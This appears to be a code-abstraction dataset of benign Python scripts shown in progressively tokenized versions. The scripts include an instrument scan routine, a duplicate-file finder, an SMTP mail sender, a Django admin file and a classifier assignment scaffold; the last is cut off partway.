[ "# Script control setup area\r\n# script info\r\n__script__.title = 'Scan vsamphi'\r\n__script__.version = '0.1'\r\n\r\nG1 = Group('Scan on vsamphi')\r\ndevice_name = 'vsamphi'\r\narm_length = Par('float', 0)\r\nscan_start = Par('float', 0)\r\nscan_stop = Par('float', 0)\r\nnumber_of_points = Par('int', 0)\r\nscan_mode = Par('string', 'time', options = ['time', 'count'])\r\nscan_mode.enabled = True\r\nscan_preset = Par('int', 0)\r\nact1 = Act('scan_device()', 'Scan on Device')\r\ndef scan_device():\r\n aname = str(device_name)\r\n# axis_name.value = aname\r\n np = int(number_of_points.value)\r\n if np <= 0:\r\n return\r\n if np == 1:\r\n step_size = 0\r\n else:\r\n step_size = float(scan_stop.value - scan_start.value) / (np - 1)\r\n slog('runscan ' + str(device_name) + ' ' + str(scan_start.value) + ' ' + str(scan_stop.value) \\\r\n + ' ' + str(number_of_points.value) + ' ' + str(scan_mode.value) + ' ' + str(scan_preset.value))\r\n if str(scan_mode.value) == 'time' :\r\n mode = quokka.hmMode.time\r\n elif str(scan_mode.value) == 'count':\r\n mode = quokka.hmMode.monitor\r\n else:\r\n mode = quokka.hmMode.time\r\n sics.run_command('newfile HISTOGRAM_XY')\r\n org_z = sicsext.getStableValue('samz').getFloatData()\r\n time.sleep(1)\r\n for p in xrange(np):\r\n samphi = scan_start.value + step_size * p\r\n slog('drive ' + aname + ' ' + str(samphi))\r\n sics.drive('samphi', scan_start.value + step_size * p)\r\n samz = calc_samz(samphi, arm_length.value, org_z)\r\n slog('drive samz ' + str(samz))\r\n sics.drive('samz', samz)\r\n quokka.driveHistmem(mode, scan_preset.value)\r\n sics.run_command('save ' + str(p))\r\n slog('finished NP ' + str(p))\r\n time.sleep(1)\r\n \r\nG1.add(arm_length, scan_start, scan_stop, number_of_points, scan_mode, scan_preset, act1)\r\n\r\n\r\ndef calc_samz(samphi, length, org_z):\r\n return org_z - length * math.sin(samphi * math.pi / 180)\r\n \r\n# Use below example to create a new Plot\r\n# Plot4 = Plot(title = 'new plot')\r\n\r\n# This function is called when pushing the Run button in the control UI.\r\ndef __run_script__(fns):\r\n global Plot1\r\n global Plot2\r\n global Plot3\r\n \r\n # check if a list of file names has been given\r\n if (fns is None or len(fns) == 0) :\r\n print 'no input datasets'\r\n else :\r\n for fn in fns:\r\n # load dataset with each file name\r\n ds = Plot3.ds\r\n if ds != None and len(ds) > 0:\r\n if ds[0].location == fn:\r\n return\r\n df.datasets.clear()\r\n ds = df[fn]\r\n axis_name = 'samphi'\r\n dname = 'total_counts'\r\n data = ds[dname]\r\n axis = ds[axis_name]\r\n if not hasattr(axis, '__len__'):\r\n axis = SimpleData([axis], title = axis_name)\r\n ds2 = Dataset(data, axes=[axis])\r\n ds2.title = ds.id\r\n ds2.location = fn\r\n Plot1.set_dataset(ds2)\r\n Plot1.x_label = axis_name.value\r\n Plot1.y_label = dname\r\n Plot1.title = dname + ' vs ' + axis_name.value\r\n Plot1.pv.getPlot().setMarkerEnabled(True)\r\n\r\n \r\ndef __dispose__():\r\n global Plot1\r\n global Plot2\r\n global Plot3\r\n Plot1.clear()\r\n Plot2.clear()\r\n Plot3.clear()\r\n" ]

[ "#!/usr/bin/env python3\n# Generated by AtCoder Tools 2.8.0\n# Copyright 2021 Yuichiro Smith\nimport sys\n\nMOD = 998244353 # type: int\n\n\ndef solve(N: int, Q: int, A: \"List[int]\", x: \"List[int]\", y: \"List[int]\"):\n return\n\n\ndef main():\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n N = int(next(tokens)) # type: int\n Q = int(next(tokens)) # type: int\n A = [int(next(tokens)) for _ in range(N)] # type: \"List[int]\"\n x = [int()] * (Q) # type: \"List[int]\"\n y = [int()] * (Q) # type: \"List[int]\"\n for i in range(Q):\n x[i] = int(next(tokens))\n y[i] = int(next(tokens))\n solve(N, Q, A, x, y)\n\n\nif __name__ == '__main__':\n main()\n", "import sys\nMOD = 998244353\n\n\ndef solve(N: int, Q: int, A: 'List[int]', x: 'List[int]', y: 'List[int]'):\n return\n\n\ndef main():\n\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n N = int(next(tokens))\n Q = int(next(tokens))\n A = [int(next(tokens)) for _ in range(N)]\n x = [int()] * Q\n y = [int()] * Q\n for i in range(Q):\n x[i] = int(next(tokens))\n y[i] = int(next(tokens))\n solve(N, Q, A, x, y)\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\nMOD = 998244353\n\n\ndef solve(N: int, Q: int, A: 'List[int]', x: 'List[int]', y: 'List[int]'):\n return\n\n\ndef main():\n\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n N = int(next(tokens))\n Q = int(next(tokens))\n A = [int(next(tokens)) for _ in range(N)]\n x = [int()] * Q\n y = [int()] * Q\n for i in range(Q):\n x[i] = int(next(tokens))\n y[i] = int(next(tokens))\n solve(N, Q, A, x, y)\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n<assignment token>\n\n\ndef solve(N: int, Q: int, A: 'List[int]', x: 'List[int]', y: 'List[int]'):\n return\n\n\ndef main():\n\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n N = int(next(tokens))\n Q = int(next(tokens))\n A = [int(next(tokens)) for _ in range(N)]\n x = [int()] * Q\n y = [int()] * Q\n for i in range(Q):\n x[i] = int(next(tokens))\n y[i] = int(next(tokens))\n solve(N, Q, A, x, y)\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n<assignment token>\n\n\ndef solve(N: int, Q: int, A: 'List[int]', x: 'List[int]', y: 'List[int]'):\n return\n\n\ndef main():\n\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n N = int(next(tokens))\n Q = int(next(tokens))\n A = [int(next(tokens)) for _ in range(N)]\n x = [int()] * Q\n y = [int()] * Q\n for i in range(Q):\n x[i] = int(next(tokens))\n y[i] = int(next(tokens))\n solve(N, Q, A, x, y)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef main():\n\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n N = int(next(tokens))\n Q = int(next(tokens))\n A = [int(next(tokens)) for _ in range(N)]\n x = [int()] * Q\n y = [int()] * Q\n for i in range(Q):\n x[i] = int(next(tokens))\n y[i] = int(next(tokens))\n solve(N, Q, A, x, y)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<code token>\n" ]

[ "from datetime import datetime\nfrom crontab import Crontab\n\n", "from datetime import datetime\nfrom crontab import Crontab\n", "<import token>\n" ]

[ "import sys\nimport os\nimport argparse\nfrom collections import defaultdict\n\n\ndef search_doubles(dirpath):\n compare_files = defaultdict(list)\n for dirpath, dirnames, filenames in os.walk(dirpath):\n for fname in filenames:\n fsize = os.path.getsize(os.path.join(dirpath, fname))\n compare_files[(fname, fsize)].append(dirpath)\n return filter(lambda x: len(x[1]) > 1, compare_files.items())\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-p', '--path',\n help='start directory for searching duplicates',\n required=True)\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = get_args()\n for found_file in search_doubles(args.path):\n for path in found_file[1]:\n print('%d %s/%s' % (found_file[0][1], path, found_file[0][0]))\n", "import sys\nimport os\nimport argparse\nfrom collections import defaultdict\n\n\ndef search_doubles(dirpath):\n compare_files = defaultdict(list)\n for dirpath, dirnames, filenames in os.walk(dirpath):\n for fname in filenames:\n fsize = os.path.getsize(os.path.join(dirpath, fname))\n compare_files[fname, fsize].append(dirpath)\n return filter(lambda x: len(x[1]) > 1, compare_files.items())\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-p', '--path', help=\n 'start directory for searching duplicates', required=True)\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = get_args()\n for found_file in search_doubles(args.path):\n for path in found_file[1]:\n print('%d %s/%s' % (found_file[0][1], path, found_file[0][0]))\n", "<import token>\n\n\ndef search_doubles(dirpath):\n compare_files = defaultdict(list)\n for dirpath, dirnames, filenames in os.walk(dirpath):\n for fname in filenames:\n fsize = os.path.getsize(os.path.join(dirpath, fname))\n compare_files[fname, fsize].append(dirpath)\n return filter(lambda x: len(x[1]) > 1, compare_files.items())\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-p', '--path', help=\n 'start directory for searching duplicates', required=True)\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = get_args()\n for found_file in search_doubles(args.path):\n for path in found_file[1]:\n print('%d %s/%s' % (found_file[0][1], path, found_file[0][0]))\n", "<import token>\n\n\ndef search_doubles(dirpath):\n compare_files = defaultdict(list)\n for dirpath, dirnames, filenames in os.walk(dirpath):\n for fname in filenames:\n fsize = os.path.getsize(os.path.join(dirpath, fname))\n compare_files[fname, fsize].append(dirpath)\n return filter(lambda x: len(x[1]) > 1, compare_files.items())\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-p', '--path', help=\n 'start directory for searching duplicates', required=True)\n return parser.parse_args()\n\n\n<code token>\n", "<import token>\n\n\ndef search_doubles(dirpath):\n compare_files = defaultdict(list)\n for dirpath, dirnames, filenames in os.walk(dirpath):\n for fname in filenames:\n fsize = os.path.getsize(os.path.join(dirpath, fname))\n compare_files[fname, fsize].append(dirpath)\n return filter(lambda x: len(x[1]) > 1, compare_files.items())\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<code token>\n" ]

[ "#!/usr/bin/python\n#\n#\n# Usage: send-mail.py [OPTIONS]\n# -h print this message and quit\n# -s <server>[:port] - port is 25 unless specified\n# -f <from address>\n# -t <to address>\n# -S <Subject>\n# -b <body>\n# -A <attachment>\n\nimport os\nimport smtplib\nimport sys\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom getopt import getopt\n\n\ndef main():\n \"\"\"main function\"\"\"\n\n # gather arguments\n opts, args = getopt(sys.argv[1:], \"hs:f:t:S:b:A:\", [\"help\"])\n attachment = None\n\n # argument parsing\n for o, a in opts:\n if o in (\"-h\", \"--help\"):\n print_help()\n sys.exit(0)\n elif o == \"-s\":\n mail_server_string = a\n elif o == \"-f\":\n from_address = a\n elif o == \"-t\":\n to_address = a\n elif o == \"-S\":\n subject = a\n elif o == \"-b\":\n body = a\n elif o == \"-A\":\n attachment = a\n else:\n assert False, \"unhandled option\"\n\n if len(opts) < 5:\n print(\"too few options\")\n print_help()\n sys.exit(1)\n\n # parse mail server information\n if \":\" in mail_server_string:\n mail_server, mail_port = mail_server_string.split(\":\")\n else:\n mail_server = mail_server_string\n mail_port = 25\n\n send_email(mail_server, mail_port, from_address, to_address, subject, body, attachment)\n\n sys.exit(0)\n\n\ndef send_email(mail_server, mail_port, from_addr, to_addr, subject, body, attachment):\n \"\"\"sends email\"\"\"\n print(\"Sending mail from %s to %s with subject %s and attachment %s\" % (from_addr, \n to_addr, subject, attachment))\n mail_server = mail_server\n mail_port = mail_port\n\n # create the message use MIMEMultipart, MIMEText to deal with unicode\n msg = MIMEMultipart()\n msg['Subject'] = subject\n msg['From'] = from_addr\n msg['To'] = to_addr\n body = MIMEText(body, 'plain')\n msg.attach(body)\n #print(msg.as_string())\n\n # add attachment, if provided\n if attachment:\n try:\n with open(attachment, 'rb') as fp:\n attach = MIMEBase('application', \"octet-stream\")\n attach.set_payload(fp.read())\n encoders.encode_base64(attach)\n attach.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attachment))\n msg.attach(attach)\n except:\n print(\"Unable to attach file, error: \", sys.exc_info())\n\n # send mail message\n smtp = smtplib.SMTP(mail_server, mail_port)\n try:\n smtp.sendmail(from_addr, to_addr, msg.as_string())\n except:\n print(\"Unexpected error:\" + str(sys.exc_info()[0]))\n smtp.quit()\n\n\ndef print_help():\n '''prints a help message'''\n print(\"\"\"Usage: send-mail.py [OPTIONS]\n -h print this message and quit\n -s <server>[:port] - port is 25 unless specified\n -f <from address>\n -t <to address>\n -S <Subject>\n -b <body>\n -A <attachment>\"\"\")\n\n\nif __name__ == '__main__':\n main()\n\n", "import os\nimport smtplib\nimport sys\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom getopt import getopt\n\n\ndef main():\n \"\"\"main function\"\"\"\n opts, args = getopt(sys.argv[1:], 'hs:f:t:S:b:A:', ['help'])\n attachment = None\n for o, a in opts:\n if o in ('-h', '--help'):\n print_help()\n sys.exit(0)\n elif o == '-s':\n mail_server_string = a\n elif o == '-f':\n from_address = a\n elif o == '-t':\n to_address = a\n elif o == '-S':\n subject = a\n elif o == '-b':\n body = a\n elif o == '-A':\n attachment = a\n else:\n assert False, 'unhandled option'\n if len(opts) < 5:\n print('too few options')\n print_help()\n sys.exit(1)\n if ':' in mail_server_string:\n mail_server, mail_port = mail_server_string.split(':')\n else:\n mail_server = mail_server_string\n mail_port = 25\n send_email(mail_server, mail_port, from_address, to_address, subject,\n body, attachment)\n sys.exit(0)\n\n\ndef send_email(mail_server, mail_port, from_addr, to_addr, subject, body,\n attachment):\n \"\"\"sends email\"\"\"\n print('Sending mail from %s to %s with subject %s and attachment %s' %\n (from_addr, to_addr, subject, attachment))\n mail_server = mail_server\n mail_port = mail_port\n msg = MIMEMultipart()\n msg['Subject'] = subject\n msg['From'] = from_addr\n msg['To'] = to_addr\n body = MIMEText(body, 'plain')\n msg.attach(body)\n if attachment:\n try:\n with open(attachment, 'rb') as fp:\n attach = MIMEBase('application', 'octet-stream')\n attach.set_payload(fp.read())\n encoders.encode_base64(attach)\n attach.add_header('Content-Disposition', 'attachment', filename\n =os.path.basename(attachment))\n msg.attach(attach)\n except:\n print('Unable to attach file, error: ', sys.exc_info())\n smtp = smtplib.SMTP(mail_server, mail_port)\n try:\n smtp.sendmail(from_addr, to_addr, msg.as_string())\n except:\n print('Unexpected error:' + str(sys.exc_info()[0]))\n smtp.quit()\n\n\ndef print_help():\n \"\"\"prints a help message\"\"\"\n print(\n \"\"\"Usage: send-mail.py [OPTIONS]\n -h print this message and quit\n -s <server>[:port] - port is 25 unless specified\n -f <from address>\n -t <to address>\n -S <Subject>\n -b <body>\n -A <attachment>\"\"\"\n )\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n\n\ndef main():\n \"\"\"main function\"\"\"\n opts, args = getopt(sys.argv[1:], 'hs:f:t:S:b:A:', ['help'])\n attachment = None\n for o, a in opts:\n if o in ('-h', '--help'):\n print_help()\n sys.exit(0)\n elif o == '-s':\n mail_server_string = a\n elif o == '-f':\n from_address = a\n elif o == '-t':\n to_address = a\n elif o == '-S':\n subject = a\n elif o == '-b':\n body = a\n elif o == '-A':\n attachment = a\n else:\n assert False, 'unhandled option'\n if len(opts) < 5:\n print('too few options')\n print_help()\n sys.exit(1)\n if ':' in mail_server_string:\n mail_server, mail_port = mail_server_string.split(':')\n else:\n mail_server = mail_server_string\n mail_port = 25\n send_email(mail_server, mail_port, from_address, to_address, subject,\n body, attachment)\n sys.exit(0)\n\n\ndef send_email(mail_server, mail_port, from_addr, to_addr, subject, body,\n attachment):\n \"\"\"sends email\"\"\"\n print('Sending mail from %s to %s with subject %s and attachment %s' %\n (from_addr, to_addr, subject, attachment))\n mail_server = mail_server\n mail_port = mail_port\n msg = MIMEMultipart()\n msg['Subject'] = subject\n msg['From'] = from_addr\n msg['To'] = to_addr\n body = MIMEText(body, 'plain')\n msg.attach(body)\n if attachment:\n try:\n with open(attachment, 'rb') as fp:\n attach = MIMEBase('application', 'octet-stream')\n attach.set_payload(fp.read())\n encoders.encode_base64(attach)\n attach.add_header('Content-Disposition', 'attachment', filename\n =os.path.basename(attachment))\n msg.attach(attach)\n except:\n print('Unable to attach file, error: ', sys.exc_info())\n smtp = smtplib.SMTP(mail_server, mail_port)\n try:\n smtp.sendmail(from_addr, to_addr, msg.as_string())\n except:\n print('Unexpected error:' + str(sys.exc_info()[0]))\n smtp.quit()\n\n\ndef print_help():\n \"\"\"prints a help message\"\"\"\n print(\n \"\"\"Usage: send-mail.py [OPTIONS]\n -h print this message and quit\n -s <server>[:port] - port is 25 unless specified\n -f <from address>\n -t <to address>\n -S <Subject>\n -b <body>\n -A <attachment>\"\"\"\n )\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n\n\ndef main():\n \"\"\"main function\"\"\"\n opts, args = getopt(sys.argv[1:], 'hs:f:t:S:b:A:', ['help'])\n attachment = None\n for o, a in opts:\n if o in ('-h', '--help'):\n print_help()\n sys.exit(0)\n elif o == '-s':\n mail_server_string = a\n elif o == '-f':\n from_address = a\n elif o == '-t':\n to_address = a\n elif o == '-S':\n subject = a\n elif o == '-b':\n body = a\n elif o == '-A':\n attachment = a\n else:\n assert False, 'unhandled option'\n if len(opts) < 5:\n print('too few options')\n print_help()\n sys.exit(1)\n if ':' in mail_server_string:\n mail_server, mail_port = mail_server_string.split(':')\n else:\n mail_server = mail_server_string\n mail_port = 25\n send_email(mail_server, mail_port, from_address, to_address, subject,\n body, attachment)\n sys.exit(0)\n\n\ndef send_email(mail_server, mail_port, from_addr, to_addr, subject, body,\n attachment):\n \"\"\"sends email\"\"\"\n print('Sending mail from %s to %s with subject %s and attachment %s' %\n (from_addr, to_addr, subject, attachment))\n mail_server = mail_server\n mail_port = mail_port\n msg = MIMEMultipart()\n msg['Subject'] = subject\n msg['From'] = from_addr\n msg['To'] = to_addr\n body = MIMEText(body, 'plain')\n msg.attach(body)\n if attachment:\n try:\n with open(attachment, 'rb') as fp:\n attach = MIMEBase('application', 'octet-stream')\n attach.set_payload(fp.read())\n encoders.encode_base64(attach)\n attach.add_header('Content-Disposition', 'attachment', filename\n =os.path.basename(attachment))\n msg.attach(attach)\n except:\n print('Unable to attach file, error: ', sys.exc_info())\n smtp = smtplib.SMTP(mail_server, mail_port)\n try:\n smtp.sendmail(from_addr, to_addr, msg.as_string())\n except:\n print('Unexpected error:' + str(sys.exc_info()[0]))\n smtp.quit()\n\n\ndef print_help():\n \"\"\"prints a help message\"\"\"\n print(\n \"\"\"Usage: send-mail.py [OPTIONS]\n -h print this message and quit\n -s <server>[:port] - port is 25 unless specified\n -f <from address>\n -t <to address>\n -S <Subject>\n -b <body>\n -A <attachment>\"\"\"\n )\n\n\n<code token>\n", "<import token>\n\n\ndef main():\n \"\"\"main function\"\"\"\n opts, args = getopt(sys.argv[1:], 'hs:f:t:S:b:A:', ['help'])\n attachment = None\n for o, a in opts:\n if o in ('-h', '--help'):\n print_help()\n sys.exit(0)\n elif o == '-s':\n mail_server_string = a\n elif o == '-f':\n from_address = a\n elif o == '-t':\n to_address = a\n elif o == '-S':\n subject = a\n elif o == '-b':\n body = a\n elif o == '-A':\n attachment = a\n else:\n assert False, 'unhandled option'\n if len(opts) < 5:\n print('too few options')\n print_help()\n sys.exit(1)\n if ':' in mail_server_string:\n mail_server, mail_port = mail_server_string.split(':')\n else:\n mail_server = mail_server_string\n mail_port = 25\n send_email(mail_server, mail_port, from_address, to_address, subject,\n body, attachment)\n sys.exit(0)\n\n\n<function token>\n\n\ndef print_help():\n \"\"\"prints a help message\"\"\"\n print(\n \"\"\"Usage: send-mail.py [OPTIONS]\n -h print this message and quit\n -s <server>[:port] - port is 25 unless specified\n -f <from address>\n -t <to address>\n -S <Subject>\n -b <body>\n -A <attachment>\"\"\"\n )\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef print_help():\n \"\"\"prints a help message\"\"\"\n print(\n \"\"\"Usage: send-mail.py [OPTIONS]\n -h print this message and quit\n -s <server>[:port] - port is 25 unless specified\n -f <from address>\n -t <to address>\n -S <Subject>\n -b <body>\n -A <attachment>\"\"\"\n )\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]

[ "from django.contrib import admin\n\nfrom .models import GatewayBeaconModel\n\n\nclass GatewayBeaconAdmin(admin.ModelAdmin):\n readonly_fields = ('id',)\n\n\nadmin.site.register(GatewayBeaconModel, GatewayBeaconAdmin)\n", "from django.contrib import admin\nfrom .models import GatewayBeaconModel\n\n\nclass GatewayBeaconAdmin(admin.ModelAdmin):\n readonly_fields = 'id',\n\n\nadmin.site.register(GatewayBeaconModel, GatewayBeaconAdmin)\n", "<import token>\n\n\nclass GatewayBeaconAdmin(admin.ModelAdmin):\n readonly_fields = 'id',\n\n\nadmin.site.register(GatewayBeaconModel, GatewayBeaconAdmin)\n", "<import token>\n\n\nclass GatewayBeaconAdmin(admin.ModelAdmin):\n readonly_fields = 'id',\n\n\n<code token>\n", "<import token>\n\n\nclass GatewayBeaconAdmin(admin.ModelAdmin):\n <assignment token>\n\n\n<code token>\n", "<import token>\n<class token>\n<code token>\n" ]

[ "'''\n\nScaffolding code for the Machine Learning assignment. \n\nYou should complete the provided functions and add more functions and classes as necessary.\n \nWrite a main function that calls the different functions to perform the required tasks \nand repeat your experiments.\n\n'''\n\n\n'''\n INSTRUCTIONS:\n - Simply running the code as is will work, no actions required as long\n as the dataset is in the same directory as this file. \n \n \n TO CHANGE DATASETS: \n - scroll all the way down to the main function and \n change \"path_to_data\"\n - the class label names should also be changed to reflect those\n in the new dataset - the code handles two, binary class labels. \n TO CHANGE TRAIN-TEST RATIO: \n - scroll to main, change \"test_set_ratio\"\n TO CHANGE HYPERPARAMETERS: \n - go into each build_AB_classifier function\n and change the dict variable called \"params\". Both param name and \n values/ranges can be changed, and the rest of the code will handle\n this change totally fine.\n TO CHANGE THE RE-FIT METRIC: \n - this metric determines how the hyperparameter search (GridSearchCV) \n picks the best set of hyperparameter values.\n - it can be changed by going into each classifier function and \n changing \"refit\" parameter passed to GridSearchCV \n - the rest of the code will handle this change without any more action \n required\n TO CHANGE THE SCORING METRICS: \n - as long as the refit metric is included here, each classifier \n function can have GridSearchCV performance reported on any metrics \n desired\n - they can even be different between classifiers\n - scroll to the classifier function and enter string names of the \n metrics desired into the GridSearchCV list parameter labelled\n \"scoring\"\n - the rest of the code will handle this change. \n \n \n Nothing else should have to be changed. \n\n'''\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import naive_bayes, neighbors, tree, svm, model_selection, metrics\nimport warnings \nimport time\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# REQUIRED FUNCTIONS\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ndef my_team():\n '''\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n '''\n return [ (10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt') ]\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n\ndef prepare_dataset(dataset_path):\n ''' \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n '''\n \n # Read the file elements (separated by commas) into a np array.\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n \n # Store the file's shape as variables to use later.\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n \n # Create an array to store all file data except the class labels (col 1).\n X = np.zeros((num_examples, num_features-1)) #dtype = float (default)\n X[:,0] = file_as_array.copy()[:,0] #automatically converts to floats\n X[:,1:] = file_as_array[:,2:] \n \n # Create a 1D array to store all the class labels ('B' or 'M').\n y = np.zeros_like(file_as_array[:,1], dtype=int)\n for i in range(len(y)):\n # Store a binary 1 for M, 0 for B\n y[i] = (file_as_array[i,1]=='M')\n \n \n return X,y\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n\ndef build_NB_classifier(X_training, y_training):\n ''' \n Build a Naive Bayes classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n nbc: the naive bayes classifier built in this function\n results: the dict of scores returned by cross validation, since \n GridSearchCV would also return this but it cannot be used for \n NB with no hyperparameter to optimize, and CV must be done before\n fitting takes place (and fitting happens here)\n '''\n \n print_clf_intro(\"NAIVE BAYES\")\n \n # Instantiate a Multinomial NB classifier.\n nbc = naive_bayes.MultinomialNB()\n \n # Perform cross validation and store results. \n results = model_selection.cross_validate(nbc, X_training, y_training, \n return_train_score=True,\n scoring=['accuracy', \n 'precision', \n 'roc_auc', \n 'recall',\n 'f1'])\n \n # Fit the data with X-training.\n nbc.fit(X_training, y_training)\n \n # Return the classifier object and CV results. \n return nbc, results\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n \n\ndef build_DT_classifier(X_training, y_training):\n ''' \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n '''\n \n # HYPERPARAMTER TO OPTIMIZE: NAME AND TEST RANGE\n params = { 'max_depth': np.linspace(1,100,100, dtype=int) } \n print_clf_intro(\"DECISION TREE\", params) \n \n # Instantiate a GridSearchCV object of Decision Tree classifier type.\n # Pass an int to random_state to ensure repeatability.\n dtc = model_selection.GridSearchCV( tree.DecisionTreeClassifier(random_state=5), \n params, \n return_train_score=True,\n # cv=4, #use default 3 or uncomment\n scoring=['accuracy',\n 'roc_auc',\n 'precision', \n 'recall',\n 'f1'],\n refit='roc_auc'\n )\n \n # Fit the data, which will run k-fold cross-validation on X_training. \n with warnings.catch_warnings():\n # Prevent warnings from printing (and ruining all my nice formatting!!)\n # Warnings tell us that some precision values are zero, but they are \n # for parameter values that are BAD and wont be used anyways, so it\n # isnt an issue but we still need to test them in GridSearchCV. \n warnings.simplefilter(\"ignore\") \n dtc.fit(X_training, y_training)\n \n # Return the GridSearchCV object, which automatically uses the best \n # estimator for predictions, but also allows access to cv_results_.\n return dtc \n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n \n\ndef build_NN_classifier(X_training, y_training):\n ''' \n Build a Nearrest Neighbours classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed. \n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n knn: the k-nearest neighbors classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n '''\n \n # HYPERPARAMETER TO OPTIMIZE: NAME AND TEST RANGE\n params = { 'n_neighbors': np.linspace(1,200, 200, dtype=int) } \n print_clf_intro(\"NEAREST NEIGHBOR\", params)\n \n # Instantiate a GridSearchCV object of KNN classifier type.\n knn = model_selection.GridSearchCV( neighbors.KNeighborsClassifier(), \n params, \n return_train_score=True,\n # cv=4, #use default 3 or uncomment\n scoring=['accuracy', \n 'roc_auc',\n 'precision', \n 'recall',\n 'f1'],\n refit='roc_auc'\n ) \n \n # Fit the data, which will run k-fold cross-validation on X_training.\n with warnings.catch_warnings():\n # Prevent warnings from printing (and ruining all my nice formatting!!)\n # Warnings tell us that some precision values are zero, but they are \n # for parameter values that are BAD and wont be used anyways, so it\n # isnt an issue but we still need to test them in GridSearchCV.\n warnings.simplefilter(\"ignore\")\n knn.fit(X_training, y_training)\n \n # Return the GridSearchCV object, which automatically uses the best \n # estimator for predictions, but also allows access to cv_results_.\n return knn\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n \n\ndef build_SVM_classifier(X_training, y_training):\n ''' \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n '''\n \n # HYPERPARAMETER TO OPTIMIZE: NAME AND TEST RANGE\n params ={ 'gamma': np.logspace(-10, 1, 100) } \n print_clf_intro(\"SUPPORT VECTOR MACHINE\", params)\n \n # Instantiate a GridSearchCV object of SVC classifier type.\n svc = model_selection.GridSearchCV( svm.SVC(), #to allow neg_log_loss \n params, \n return_train_score=True,\n # cv=4, #use default of 3, or uncomment\n scoring=['accuracy', \n 'roc_auc',\n 'precision', \n 'recall',\n 'f1', ],\n refit='roc_auc'\n ) \n \n # Fit the data, which will run k-fold cross-validation on X_training.\n with warnings.catch_warnings():\n # Prevent warnings from printing (and ruining all my nice formatting!!)\n # Warnings tell us that some precision values are zero, but they are \n # for parameter values that are BAD and wont be used anyways, so it\n # isnt an issue but we still need to test them in GridSearchCV.\n warnings.simplefilter(\"ignore\")\n svc.fit(X_training, y_training)\n \n # Return the GridSearchCV object, which automatically uses the best \n # estimator for predictions, but also allows access to cv_results_.\n return svc\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# ADDITIONAL FUNCTIONS \n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n 